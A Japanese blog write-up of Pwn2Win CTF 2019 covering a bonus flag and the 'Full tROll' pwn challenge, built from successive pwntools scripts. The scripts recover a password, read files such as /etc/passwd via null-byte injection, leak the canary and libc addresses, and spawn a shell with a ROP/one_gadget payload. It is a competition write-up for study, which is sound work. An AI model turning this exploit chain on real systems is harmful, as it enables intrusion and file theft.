TSALVIA技術メモ

CTFのWriteupや気になったツールについて書いていきます。また、このサイトはGoogle Analyticsを利用しています。

Pwn2Win CTF 2019 Writeup

Pwn2Win CTF 2019 について

Pwn2Win CTF 2019 が開催されました。
2019年11月09日午前1時37分~2019年11月11日午前1時37分(48時間)

https://pwn2.win/2019/#/ github.com

これまでに参加したCTFの中で一番難しかったです。 ボーナス問題を除き、今回解いたFull tROllが一番簡単な問題だったようです。 そもそも、チーム登録やフラグを入力するための準備だけでも結構大変でした。 今回もチームで参加しました。チームメンバが1問解いてくれました。 結果は、56/220位で、349点でした。 私も2問解くことができたので、そのWriteupを紹介します。

f:id:tsalvia:20191113002549p:plain

Pwn2Win CTF 2019 Writeup(2問)

g00d b0y(Bonus)

問題

Now prove you were a good kid and show you learned the most basic lesson in CTFs!!

解答例

pwn2win CTF 2019のルールページ(https://pwn2win.party/rules)のフッターを見ると、以下のように書かれていました。フラグも書かれています。

For the first time, these tiny letters on the bottom of the screen are not a prank. \o/ if you got to this point, means that you probably read all our informations and instructions. And for that, we will award your team with extra points in the competition, after all, reading is FUNDAMENTAL for a competition like this. Use the flag "CTF-BR{RTFM_1s_4_g00d_3xpr3ss10n_v5.0}" on the challenge "Bonus" during the day of the event and guarantee your extra score! ;)

FLAG

CTF-BR{RTFM_1s_4_g00d_3xpr3ss10n_v5.0}

Full tROll(Exploitation)

問題

We've found a HARPA system that seems impenetrable. Help us to pwn it to get its secrets!
Server: 200.136.252.31 2222
Server backup: 167.71.169.196 2222

添付ファイル

  • full_troll_1700da176669cce25d20212febf45903e873ca3be6036401077a79f79e2ebf35.tar.gz

解答例

まずは、fileコマンドとchecksecコマンドを実行してみました。 64bitにELFファイルで、セキュリティ機構もほとんどが有効になっているようです。

$ file full_troll
full_troll: ELF 64-bit LSB  shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 3.2.0, BuildID[sha1]=0b0ba0027249cce48d46931213c496e675a74b4d, stripped
$ checksec full_troll
[*] '/root/workdir/full_troll/full_troll'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

次に実行してみました。実行すると、パスワード入力を求められます。

$ ./full_troll
Welcome my friend. Tell me your password.
a
Not even close!

Welcome my friend. Tell me your password.
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Incorrect!

Welcome my friend. Tell me your password.

パスワードが分からないので、Ghidraでデコンパイルして確認してみます。 色々見ていると、パスワードをチェックしている関数がありました。

※ 関数名や変数名などは、読みやすいように調整しています。 f:id:tsalvia:20191111225250p:plain

XORしているだけなので、末尾のXから辿ることができそうです。 パスワードと復号して、入力するスクリプトを作成しました。

#!/usr/bin/env python3
from pwn import *

ARCH = "amd64"
FILE = "./full_troll"
LIBC = ""
HOST = "200.136.252.31"
PORT = 2222

def exploit(con, elf, libc, rop):
    xor_keys = [0,63,11,39,51,65,79,59,27,33,50,115,121,43,58,0,2,56,29,3,4,73,97]
    buf = ["X"] * 23
    for i in reversed(range(1, 23)):
        buf[i-1] = chr(ord(buf[i]) ^ xor_keys[i])
    passwd = "".join(buf)
    con.sendlineafter("Welcome my friend. Tell me your password.\n", passwd)

def main():
    context(arch=ARCH, os="linux")

    if args["REMOTE"]:
        con = remote(HOST, PORT)
    else:
        con = process([FILE])

    elf = ELF(FILE)
    if LIBC != "":
        libc = ELF(LIBC)
    else:
        libc = ""
    rop = ROP(elf)
    exploit(con, elf, libc, rop)
    con.interactive()

if __name__ == "__main__":
    main()

実行すると、URL(http://troll.harpa.world)が出てきました。

$ python exploit.py REMOTE
[+] Opening connection to 200.136.252.31 on port 2222: Done
[*] '/root/workdir/full_troll/full_troll'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded cached gadgets for './full_troll'
[*] Switching to interactive mode
http://troll.harpa.world
Welcome my friend. Tell me your password.
$

アクセスしてみると、以下のような画像が表示されました。

f:id:tsalvia:20191111232232p:plain

この画像を調べてみましたが、何も見つかりませんでした。おそらくダミーです。

画像の調査をあきらめ、パスワードチェックの処理を見直しました。 パスワードのチェックは、まずstrlenでバッファのサイズを確認してから、パスワードのチェックをしています。 strlenは、NULL文字までを文字数として判定しているため、パスワードの後にNULL文字を挟めば、パスワードチェックをパスしたまま先の処理に進めさせることができそうです。 まずは、文字入力でNULL文字を挟めるかどうかを確認してみます。

※ 関数名や変数名などは、読みやすいように調整しています。 f:id:tsalvia:20191111233217p:plain

fgetcがエラーを返す、もしくは改行が入力されるまで、ユーザの入力を受け付けるようになっていました。 よって、NULL文字も入力できるということが分かりました。

実際にパスワード後にNULL文字を挟み、適当な文字を10文字書き込むスクリプトを作って確認しました。

#!/usr/bin/env python3
from pwn import *

ARCH = "amd64"
FILE = "./full_troll"
LIBC = ""
HOST = "200.136.252.31"
PORT = 2222

def get_passwd():
    xor_keys = [0,63,11,39,51,65,79,59,27,33,50,115,121,43,58,0,2,56,29,3,4,73,97]
    buf = ["X"] * 23
    for i in reversed(range(1, 23)):
        buf[i-1] = chr(ord(buf[i]) ^ xor_keys[i])
    return "".join(buf)

def exploit(con, elf, libc, rop):
    passwd = get_passwd()
    log.info("passwd: {}".format(passwd))

    payload = passwd.encode("utf-8")
    payload += b"\x00"
    payload += b"A" * 10
    log.info("payload: {}".format(payload))
    con.sendlineafter("Welcome my friend. Tell me your password.\n", payload)

def main():
    context(arch=ARCH, os="linux")

    if args["REMOTE"]:
        con = remote(HOST, PORT)
    else:
        con = process([FILE])

    elf = ELF(FILE)
    if LIBC != "":
        libc = ELF(LIBC)
    else:
        libc = ""
    rop = ROP(elf)
    exploit(con, elf, libc, rop)
    con.interactive()

if __name__ == "__main__":
    main()

実行すると、Unable to open AAcret.txt file! と表示されました。 AA でファイル名を上書きされていることが確認できます。

$ python exploit.py REMOTE
[+] Opening connection to 200.136.252.31 on port 2222: Done
[*] '/root/workdir/full_troll/full_troll'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded cached gadgets for './full_troll'
[*] passwd: VibEv7xCXyK8AjPPRjwtp9X
[*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00AAAAAAAAAA'
[*] Switching to interactive mode
Unable to open AAcret.txt file!
Welcome my friend. Tell me your password.
$

ファイルを自由に読み出せることが分かったので、ファイル読出し用のスクリプトを作成しました。

#!/usr/bin/env python3
from pwn import *

ARCH = "amd64"
FILE = "./full_troll"
LIBC = ""
HOST = "200.136.252.31"
PORT = 2222

def get_passwd():
    xor_keys = [0,63,11,39,51,65,79,59,27,33,50,115,121,43,58,0,2,56,29,3,4,73,97]
    buf = ["X"] * 23
    for i in reversed(range(1, 23)):
        buf[i-1] = chr(ord(buf[i]) ^ xor_keys[i])
    return "".join(buf)

def read_file(con, passwd, path):
    payload = passwd.encode("utf-8")
    payload += b"\x00"
    payload += b"A" * 8
    payload += path.encode("utf-8")
    payload += b"\x00\n"
    log.info("payload: {}".format(payload))

    con.sendlineafter("Welcome my friend. Tell me your password.\n", payload)
    delim = "Welcome my friend. Tell me your password."
    return con.readuntil(delim).decode("utf-8").split(delim)[0]

def exploit(con, elf, libc, rop):
    passwd = get_passwd()
    log.info("passwd: {}".format(passwd))

    while True:
        path = input("input path> ")
        file_data = read_file(con, passwd, path)
        log.info("file_data: {}".format(file_data))

def main():
    context(arch=ARCH, os="linux")

    if args["REMOTE"]:
        con = remote(HOST, PORT)
    else:
        con = process([FILE])

    elf = ELF(FILE)
    if LIBC != "":
        libc = ELF(LIBC)
    else:
        libc = ""
    rop = ROP(elf)
    exploit(con, elf, libc, rop)
    con.interactive()

if __name__ == "__main__":
    main()

色々読み出してみましたが、フラグは確認できませんでした。 シェルを取らないとダメそうです。

$ python exploit.py REMOTE
[+] Opening connection to 200.136.252.31 on port 2222: Done
[*] '/root/workdir/full_troll/full_troll'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded cached gadgets for './full_troll'
[*] passwd: VibEv7xCXyK8AjPPRjwtp9X
input path> secret.txt
[*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00AAAAAAAAsecret.txt\x00\n'
[*] file_data: http://troll.harpa.world
input path> flag.txt
[*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00AAAAAAAAflag.txt\x00\n'
[*] file_data: http://troll.harpa.world
input path> /etc/passwd
[*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00AAAAAAAA/etc/passwd\x00\n'
[*] file_data: root:x:0:0:root:/root:/bin/bash
input path> /etc/hosts
[*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00AAAAAAAA/etc/hosts\x00\n'
[*] file_data: 127.0.0.1 localhostot:/bin/bash
input path> /etc/os-release
[*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00AAAAAAAA/etc/os-release\x00\n'
[*] file_data: NAME="Ubuntu"alhostot:/bin/bash

一度ファイルの調査をあきらめ、gdb-pedaで文字列入力後のスタックを眺めていると、近くにカナリア値(0xd718cd071b17b500)があることに気付きました。

[----------------------------------registers-----------------------------------]
RAX: 0x18 
RBX: 0x0 
RCX: 0x7ffff7b00360 (<__read_nocancel+7>:       cmp    rax,0xfffffffffffff001)
RDX: 0xa ('\n')
RSI: 0x7ffff7dd59f0 --> 0x0 
RDI: 0x7ffff7dd4640 --> 0xfbad2288 
RBP: 0x7fffffffe4c0 --> 0x0 
RSP: 0x7fffffffe450 --> 0x0 
RIP: 0x555555554f4a (lea    rax,[rbp-0x50])
R8 : 0x7ffff7fed740 (0x00007ffff7fed740)
R9 : 0x0 
R10: 0x22 ('"')
R11: 0x246 
R12: 0x5555555548f0 (xor    ebp,ebp)
R13: 0x7fffffffe5a0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x555555554f3f:      mov    rsi,rdx
   0x555555554f42:      mov    rdi,rax
   0x555555554f45:      call   0x555555554e5d
=> 0x555555554f4a:      lea    rax,[rbp-0x50]
   0x555555554f4e:      mov    rdi,rax
   0x555555554f51:      call   0x555555554a53
   0x555555554f56:      mov    DWORD PTR [rbp-0x64],eax
   0x555555554f59:      cmp    DWORD PTR [rbp-0x64],0x1
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe450 --> 0x0 
0008| 0x7fffffffe458 --> 0x7fffffffe5b8 --> 0x7fffffffe7f4 ("HOSTNAME=69a66ad2ab17")
0016| 0x7fffffffe460 --> 0x555555757010 --> 0x0 
0024| 0x7fffffffe468 --> 0x7fffffffe4e0 --> 0x100000001 
0032| 0x7fffffffe470 ("AAAAAAAABBBBBBBBCCCCCCCC")
0040| 0x7fffffffe478 ("BBBBBBBBCCCCCCCC")
0048| 0x7fffffffe480 ("CCCCCCCC")
0056| 0x7fffffffe488 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0000555555554f4a in ?? ()
gdb-peda$ stack 20
0000| 0x7fffffffe450 --> 0x0 
0008| 0x7fffffffe458 --> 0x7fffffffe5b8 --> 0x7fffffffe7f4 ("HOSTNAME=69a66ad2ab17")
0016| 0x7fffffffe460 --> 0x555555757010 --> 0x0 
0024| 0x7fffffffe468 --> 0x7fffffffe4e0 --> 0x100000001 
0032| 0x7fffffffe470 ("AAAAAAAABBBBBBBBCCCCCCCC")
0040| 0x7fffffffe478 ("BBBBBBBBCCCCCCCC")
0048| 0x7fffffffe480 ("CCCCCCCC")
0056| 0x7fffffffe488 --> 0x0 
0064| 0x7fffffffe490 ("secret.txt")
0072| 0x7fffffffe498 --> 0x7478 ('xt')
0080| 0x7fffffffe4a0 --> 0x0 
0088| 0x7fffffffe4a8 --> 0x0 
0096| 0x7fffffffe4b0 --> 0x0 
0104| 0x7fffffffe4b8 --> 0xd718cd071b17b500 
0112| 0x7fffffffe4c0 --> 0x0 
0120| 0x7fffffffe4c8 --> 0x7ffff7a32f45 (<__libc_start_main+245>:       mov    edi,eax)
0128| 0x7fffffffe4d0 --> 0x7fffffffe5a8 --> 0x7fffffffe7d0 ("/root/workdir/full_troll/full_troll")
0136| 0x7fffffffe4d8 --> 0x7fffffffe5a8 --> 0x7fffffffe7d0 ("/root/workdir/full_troll/full_troll")
0144| 0x7fffffffe4e0 --> 0x100000001 
0152| 0x7fffffffe4e8 --> 0x555555554ead (push   rbp)
gdb-peda$ 

カナリア値の直前まで文字列で埋め、ファイル名が見つからなかった時のエラー表示を利用してカナリア値をリークさせることができそうです。 エラー表示をしている関数のデコンパイル結果は、以下の通りです。

※ 関数名や変数名などは、読みやすいように調整しています。 f:id:tsalvia:20191112002432p:plain

カナリア値の下位1バイトは、かならず\x00となっています。 エラー表示は、%.*s で表示をしているので、下位1バイトのところまで適当な文字列で埋める必要があります。 73バイトでカナリア値をリークさせることができました。

以下、作成したスクリプトになります。

#!/usr/bin/env python3
from pwn import *

ARCH = "amd64"
FILE = "./full_troll"
LIBC = ""
HOST = "200.136.252.31"
PORT = 2222

def get_passwd():
    xor_keys = [0,63,11,39,51,65,79,59,27,33,50,115,121,43,58,0,2,56,29,3,4,73,97]
    buf = ["X"] * 23
    for i in reversed(range(1, 23)):
        buf[i-1] = chr(ord(buf[i]) ^ xor_keys[i])
    return "".join(buf)

def exploit(con, elf, libc, rop):
    passwd = get_passwd()
    log.info("passwd: {}".format(passwd))

    offset = 73
    payload = passwd.encode("utf-8")
    payload += b"\x00"
    payload += b"A" * (offset - len(payload))
    log.info("payload: {}".format(payload))

    con.sendlineafter("Welcome my friend. Tell me your password.\n", payload)
    ret = con.readuntil(" file!")
    canary = int.from_bytes(ret[-13:-6], "little") << 8
    log.info("canary: {}".format(hex(canary)))

def main():
    context(arch=ARCH, os="linux")

    if args["REMOTE"]:
        con = remote(HOST, PORT)
    else:
        con = process([FILE])

    elf = ELF(FILE)
    if LIBC != "":
        libc = ELF(LIBC)
    else:
        libc = ""
    rop = ROP(elf)
    exploit(con, elf, libc, rop)
    con.interactive()

if __name__ == "__main__":
    main()

実行すると、カナリア値が表示されます。

$ python exploit.py REMOTE
[+] Opening connection to 200.136.252.31 on port 2222: Done
[*] '/root/workdir/full_troll/full_troll'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded cached gadgets for './full_troll'
[*] passwd: VibEv7xCXyK8AjPPRjwtp9X
[*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[*] canary: 0x6219120790ec1700
[*] Switching to interactive mode

Welcome my friend. Tell me your password.
$

カナリア値をリークさせることができたので、バッファオーバーフローで攻めることができそうです。 バッファオーバーフローで攻めるために、実行時のベースアドレスとlibcのベースアドレスが必要です。

まずは、実行時のベースアドレスについて調査を進めます。 現状ファイルが自由に読み出せる状態にあるので、ASLRが有効になっているかを確認してみます。

$ python exploit_readfile.py REMOTE
[+] Opening connection to 200.136.252.31 on port 2222: Done
[*] '/root/workdir/full_troll/full_troll'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded cached gadgets for './full_troll'
[*] passwd: VibEv7xCXyK8AjPPRjwtp9X
input path> /proc/sys/kernel/randomize_va_space
[*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00AAAAAAAA/proc/sys/kernel/randomize_va_space\x00\n'
[*] file_data: 2
input path>

/proc/sys/kernel/randomize_va_space2 になっているので、ASLRが有効になっているようです。 どうにかして実行時にベースアドレスをリークさせる必要があるようです。 色々調査していると、/proc/self/maps からベースアドレスが求められそうだと気づきました。

$ python exploit_readfile.py REMOTE
[+] Opening connection to 200.136.252.31 on port 2222: Done
[*] '/root/workdir/full_troll/full_troll'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded cached gadgets for './full_troll'
[*] passwd: VibEv7xCXyK8AjPPRjwtp9X
input path> /proc/self/maps
[*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00AAAAAAAA/proc/self/maps\x00\n'
[*] file_data: 564a295b7000-564a295b9000 r-xp 00000000 fd:01 1030221                    /home/chall/chall
input path>

上記の場合、0x564a295b7000 がベースアドレスとなります。 ベースアドレスを自動で読み取るようにスクリプトを調整しました。

#!/usr/bin/env python3
from pwn import *

ARCH = "amd64"
FILE = "./full_troll"
LIBC = ""
HOST = "200.136.252.31"
PORT = 2222

def get_passwd():
    xor_keys = [0,63,11,39,51,65,79,59,27,33,50,115,121,43,58,0,2,56,29,3,4,73,97]
    buf = ["X"] * 23
    for i in reversed(range(1, 23)):
        buf[i-1] = chr(ord(buf[i]) ^ xor_keys[i])
    return "".join(buf)

def read_file(con, passwd, path):
    payload = passwd.encode("utf-8")
    payload += b"\x00"
    payload += b"A" * 8
    payload += path.encode("utf-8")
    payload += b"\x00\n"
    log.info("payload: {}".format(payload))

    con.sendlineafter("Welcome my friend. Tell me your password.\n", payload)
    delim = "Welcome my friend. Tell me your password."
    return con.readuntil(delim).decode("utf-8").split(delim)[0]

def leak_canary(con, passwd):
    offset = 73
    payload = passwd.encode("utf-8")
    payload += b"\x00"
    payload += b"A" * (offset - len(payload))
    log.info("payload: {}".format(payload))

    con.sendlineafter("Welcome my friend. Tell me your password.\n", payload)
    ret = con.readuntil(" file!")
    return int.from_bytes(ret[-13:-6], "little") << 8

def leak_base_addr(con, passwd):
    path = "/proc/self/maps"
    file_data = read_file(con, passwd, path)
    log.info("{}: {}".format(path, file_data))
    return int(file_data.split("-")[0], 16)

def exploit(con, elf, libc, rop):
    passwd = get_passwd()
    log.info("passwd: {}".format(passwd))

    canary = leak_canary(con, passwd)
    log.info("canary: {}".format(hex(canary)))

    base_addr = leak_base_addr(con, passwd)
    log.info("base_addr: {}".format(hex(base_addr)))

def main():
    context(arch=ARCH, os="linux")

    if args["REMOTE"]:
        con = remote(HOST, PORT)
    else:
        con = process([FILE])

    elf = ELF(FILE)
    if LIBC != "":
        libc = ELF(LIBC)
    else:
        libc = ""
    rop = ROP(elf)
    exploit(con, elf, libc, rop)
    con.interactive()

if __name__ == "__main__":
    main()

実行すると以下のようになります。

$ python exploit.py REMOTE
[+] Opening connection to 200.136.252.31 on port 2222: Done
[*] '/root/workdir/full_troll/full_troll'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded cached gadgets for './full_troll'
[*] password: VibEv7xCXyK8AjPPRjwtp9X
[*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[*] canary: 0x443d1af03cdbe100
[*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00AAAAAAAA/proc/self/maps\x00\n'
[*] /proc/self/maps: 555686ef8000-555686efa000 r-xp 00000000 fd:01 259722                     /home/chall/chall
[*] base_addr: 0x555686ef8000
[*] Switching to interactive mode

555686ef8000-555686efa000 r-xp 00000000 fd:01 259722                     /home/chall/chall
Welcome my friend. Tell me your password.
$

ベースアドレスを自動で取得することができるようになりました。 次にlibcのベースアドレスを求めていきます。 そのために、putsのgotのアドレスをリークさせ、そこから逆算して求めます。

今回は、putsを呼び出して、putsのgotをリークさせます。 書き換えることができるリターンアドレスは、mainのリターンアドレスなので、まずは、mainの終了条件を調べます。

※ 関数名や変数名などは、読みやすいように調整しています。 f:id:tsalvia:20191112230717p:plain

ファイルの読み出しに失敗したときに、Unknown errorで終了するようです。 ファイル名の指定箇所に\x00を入れておけば、条件を満たせそうです。

条件が整ったので、実際にスクリプトを作成します。 また、putsのgotをリークさせた後、mainを読み出して、再度バッファオーバーフローを起こせるようにしています。

#!/usr/bin/env python3
from pwn import *

ARCH = "amd64"
FILE = "./full_troll"
LIBC = ""
HOST = "200.136.252.31"
PORT = 2222

def get_passwd():
    xor_keys = [0,63,11,39,51,65,79,59,27,33,50,115,121,43,58,0,2,56,29,3,4,73,97]
    buf = ["X"] * 23
    for i in reversed(range(1, 23)):
        buf[i-1] = chr(ord(buf[i]) ^ xor_keys[i])
    return "".join(buf)

def read_file(con, passwd, path):
    payload = passwd.encode("utf-8")
    payload += b"\x00"
    payload += b"A" * 8
    payload += path.encode("utf-8")
    payload += b"\x00\n"
    log.info("payload: {}".format(payload))

    con.sendlineafter("Welcome my friend. Tell me your password.\n", payload)
    delim = "Welcome my friend. Tell me your password."
    return con.readuntil(delim).decode("utf-8").split(delim)[0]

def leak_canary(con, passwd):
    offset = 73
    payload = passwd.encode("utf-8")
    payload += b"\x00"
    payload += b"A" * (offset - len(payload))
    log.info("payload: {}".format(payload))

    con.sendlineafter("Welcome my friend. Tell me your password.\n", payload)
    ret = con.readuntil(" file!")
    return int.from_bytes(ret[-13:-6], "little") << 8

def leak_base_addr(con, passwd):
    path = "/proc/self/maps"
    file_data = read_file(con, passwd, path)
    log.info("{}: {}".format(path, file_data))
    return int(file_data.split("-")[0], 16)

def exploit(con, elf, libc, rop):
    passwd = get_passwd()
    log.info("passwd: {}".format(passwd))

    canary = leak_canary(con, passwd)
    log.info("canary: {}".format(hex(canary)))

    base_addr = leak_base_addr(con, passwd)
    log.info("base_addr: {}".format(hex(base_addr)))

    pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
    puts_got = elf.got[b"puts"]
    puts_symbol = elf.symbols[b"puts"]
    main_symbol = 0xead

    log.info("pop_rdi: {}".format(hex(pop_rdi)))
    log.info("puts_got: {}".format(hex(puts_got)))
    log.info("puts_symbol: {}".format(hex(puts_symbol)))
    log.info("main_symbol: {}".format(hex(main_symbol)))

    rop.raw(base_addr + pop_rdi)
    rop.raw(base_addr + puts_got)
    rop.raw(base_addr + puts_symbol)
    rop.raw(base_addr + main_symbol)

    offset = 72
    payload = passwd.encode("utf-8")
    payload += b"\x00" * (offset - len(payload))
    payload += pack(canary)
    payload += pack(0)
    payload += rop.chain()
    log.info("payload: {}".format(payload))
    con.sendlineafter("Welcome my friend. Tell me your password.\n", payload)
    con.readuntil("Unknown error")
    ret = con.readuntil("\n").strip()

    puts_addr = int.from_bytes(ret, "little")
    log.info("puts_addr: {}".format(hex(puts_addr)))

def main():
    context(arch=ARCH, os="linux")

    if args["REMOTE"]:
        con = remote(HOST, PORT)
    else:
        con = process([FILE])

    elf = ELF(FILE)
    if LIBC != "":
        libc = ELF(LIBC)
    else:
        libc = ""
    rop = ROP(elf)
    exploit(con, elf, libc, rop)
    con.interactive()

if __name__ == "__main__":
    main()

実行すると以下のようになります。

$ python exploit.py REMOTE
[+] Opening connection to 200.136.252.31 on port 2222: Done
[*] '/root/workdir/full_troll/full_troll'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded cached gadgets for './full_troll'
[*] password: VibEv7xCXyK8AjPPRjwtp9X
[*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[*] canary: 0x4825f2e85b094000
[*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00AAAAAAAA/proc/self/maps\x00\n'
[*] /proc/self/maps: 55fe548f0000-55fe548f2000 r-xp 00000000 fd:01 259722                     /home/chall/chall
[*] base_addr: 0x55fe548f0000
[*] pop_rdi: 0x10a3
[*] puts_got: 0x201f88
[*] puts_symbol: 0x840
[*] main_symbol: 0xead
[*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\t[\xe8\xf2%H\x00\x00\x00\x00\x00\x00\x00\x00\xa3\x10\x8fT\xfeU\x00\x00\x88\x1f\xafT\xfeU\x00\x00@\x08\x8fT\xfeU\x00\x00\xad\x0e\x8fT\xfeU\x00\x00'
[*] puts_addr: 0x7f42b16779c0
[*] Switching to interactive mode
Welcome my friend. Tell me your password.
$

putsのgotのアドレスのリークができました。 リークしたアドレスからlibcのputsのオフセットを引けば、libcのベースアドレスが求まります。 今回は、libcが提供されていないので、リークさせたputsのgotのアドレスからlibcのバージョンを検索してみます。 以下のサイトで、検索することができます。

libc.blukat.me

実際に検索してみると、今回はlibc6_2.27-3ubuntu1_amd64.so だと判明しました。

f:id:tsalvia:20191112235131p:plain

libcのベースアドレスを求める条件が整いました。 後は、One-gadget RCEでシェルが取れそうです。 One-gadget RCEのアドレスは、one_gadget(https://github.com/david942j/one_gadget)で求めることができます。

$ one_gadget libc6_2.27-3ubuntu1_amd64.so 
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

今回は、3パターンのアドレスが出てきました。 これで、すべての条件が整いました。最終的なスクリプトは、以下のようになります。

#!/usr/bin/env python3
from pwn import *

ARCH = "amd64"
FILE = "./full_troll"
LIBC = "./libc6_2.27-3ubuntu1_amd64.so"
HOST = "200.136.252.31"
PORT = 2222

def find_one_gadgets(filename):
    return list(map(int, subprocess.check_output(["one_gadget", "--raw", filename]).decode("utf-8").split(" ")))

def get_passwd():
    xor_keys = [0,63,11,39,51,65,79,59,27,33,50,115,121,43,58,0,2,56,29,3,4,73,97]
    buf = ["X"] * 23
    for i in reversed(range(1, 23)):
        buf[i-1] = chr(ord(buf[i]) ^ xor_keys[i])
    return "".join(buf)

def read_file(con, passwd, path):
    payload = passwd.encode("utf-8")
    payload += b"\x00"
    payload += b"A" * 8
    payload += path.encode("utf-8")
    payload += b"\x00\n"
    log.info("payload: {}".format(payload))

    con.sendlineafter("Welcome my friend. Tell me your password.\n", payload)
    delim = "Welcome my friend. Tell me your password."
    return con.readuntil(delim).decode("utf-8").split(delim)[0]

def leak_canary(con, passwd):
    offset = 73
    payload = passwd.encode("utf-8")
    payload += b"\x00"
    payload += b"A" * (offset - len(payload))
    log.info("payload: {}".format(payload))

    con.sendlineafter("Welcome my friend. Tell me your password.\n", payload)
    ret = con.readuntil(" file!")
    return int.from_bytes(ret[-13:-6], "little") << 8

def leak_base_addr(con, passwd):
    path = "/proc/self/maps"
    file_data = read_file(con, passwd, path)
    log.info("{}: {}".format(path, file_data))
    return int(file_data.split("-")[0], 16)

def leak_puts_addr(con, elf, rop, passwd, canary, base_addr):
    pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
    puts_got = elf.got[b"puts"]
    puts_symbol = elf.symbols[b"puts"]
    main_symbol = 0xead

    log.info("pop_rdi: {}".format(hex(pop_rdi)))
    log.info("puts_got: {}".format(hex(puts_got)))
    log.info("puts_symbol: {}".format(hex(puts_symbol)))
    log.info("main_symbol: {}".format(hex(main_symbol)))

    rop.raw(base_addr + pop_rdi)
    rop.raw(base_addr + puts_got)
    rop.raw(base_addr + puts_symbol)
    rop.raw(base_addr + main_symbol)

    offset = 72
    payload = passwd.encode("utf-8")
    payload += b"\x00" * (offset - len(payload))
    payload += pack(canary)
    payload += pack(0)
    payload += rop.chain()
    log.info("payload: {}".format(payload))
    con.sendlineafter("Welcome my friend. Tell me your password.\n", payload)
    con.readuntil("Unknown error")
    ret = con.readuntil("\n").strip()

    return int.from_bytes(ret, "little")

def exploit(con, elf, libc, rop):
    passwd = get_passwd()
    log.info("passwd: {}".format(passwd))

    canary = leak_canary(con, passwd)
    log.info("canary: {}".format(hex(canary)))

    base_addr = leak_base_addr(con, passwd)
    log.info("base_addr: {}".format(hex(base_addr)))

    puts_addr = leak_puts_addr(con, elf, rop, passwd, canary, base_addr)
    log.info("puts_addr: {}".format(hex(puts_addr)))

    libc_base = puts_addr - libc.symbols[b"puts"]
    log.info("libc_base: {}".format(hex(libc_base)))

    one_gadgets = find_one_gadgets(LIBC)
    log.info("one_gadgets: {}".format([hex(x) for x in one_gadgets]))

    offset = 72
    payload = passwd.encode("utf-8")
    payload += b"\x00" * (offset - len(payload))
    payload += pack(canary)
    payload += pack(0)
    payload += pack(libc_base + one_gadgets[0])
    log.info("payload: {}".format(payload))
    con.sendlineafter("Welcome my friend. Tell me your password.\n", payload)

def main():
    context(arch=ARCH, os="linux")

    if args["REMOTE"]:
        con = remote(HOST, PORT)
    else:
        con = process([FILE])

    elf = ELF(FILE)
    if LIBC != "":
        libc = ELF(LIBC)
    else:
        libc = ""
    rop = ROP(elf)
    exploit(con, elf, libc, rop)
    con.interactive()

if __name__ == "__main__":
    main()

実行すると、シェルを取ることができました。

$ python exploit.py REMOTE
[+] Opening connection to 200.136.252.31 on port 2222: Done
[*] '/root/workdir/full_troll/full_troll'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded cached gadgets for './full_troll'
[*] password: VibEv7xCXyK8AjPPRjwtp9X
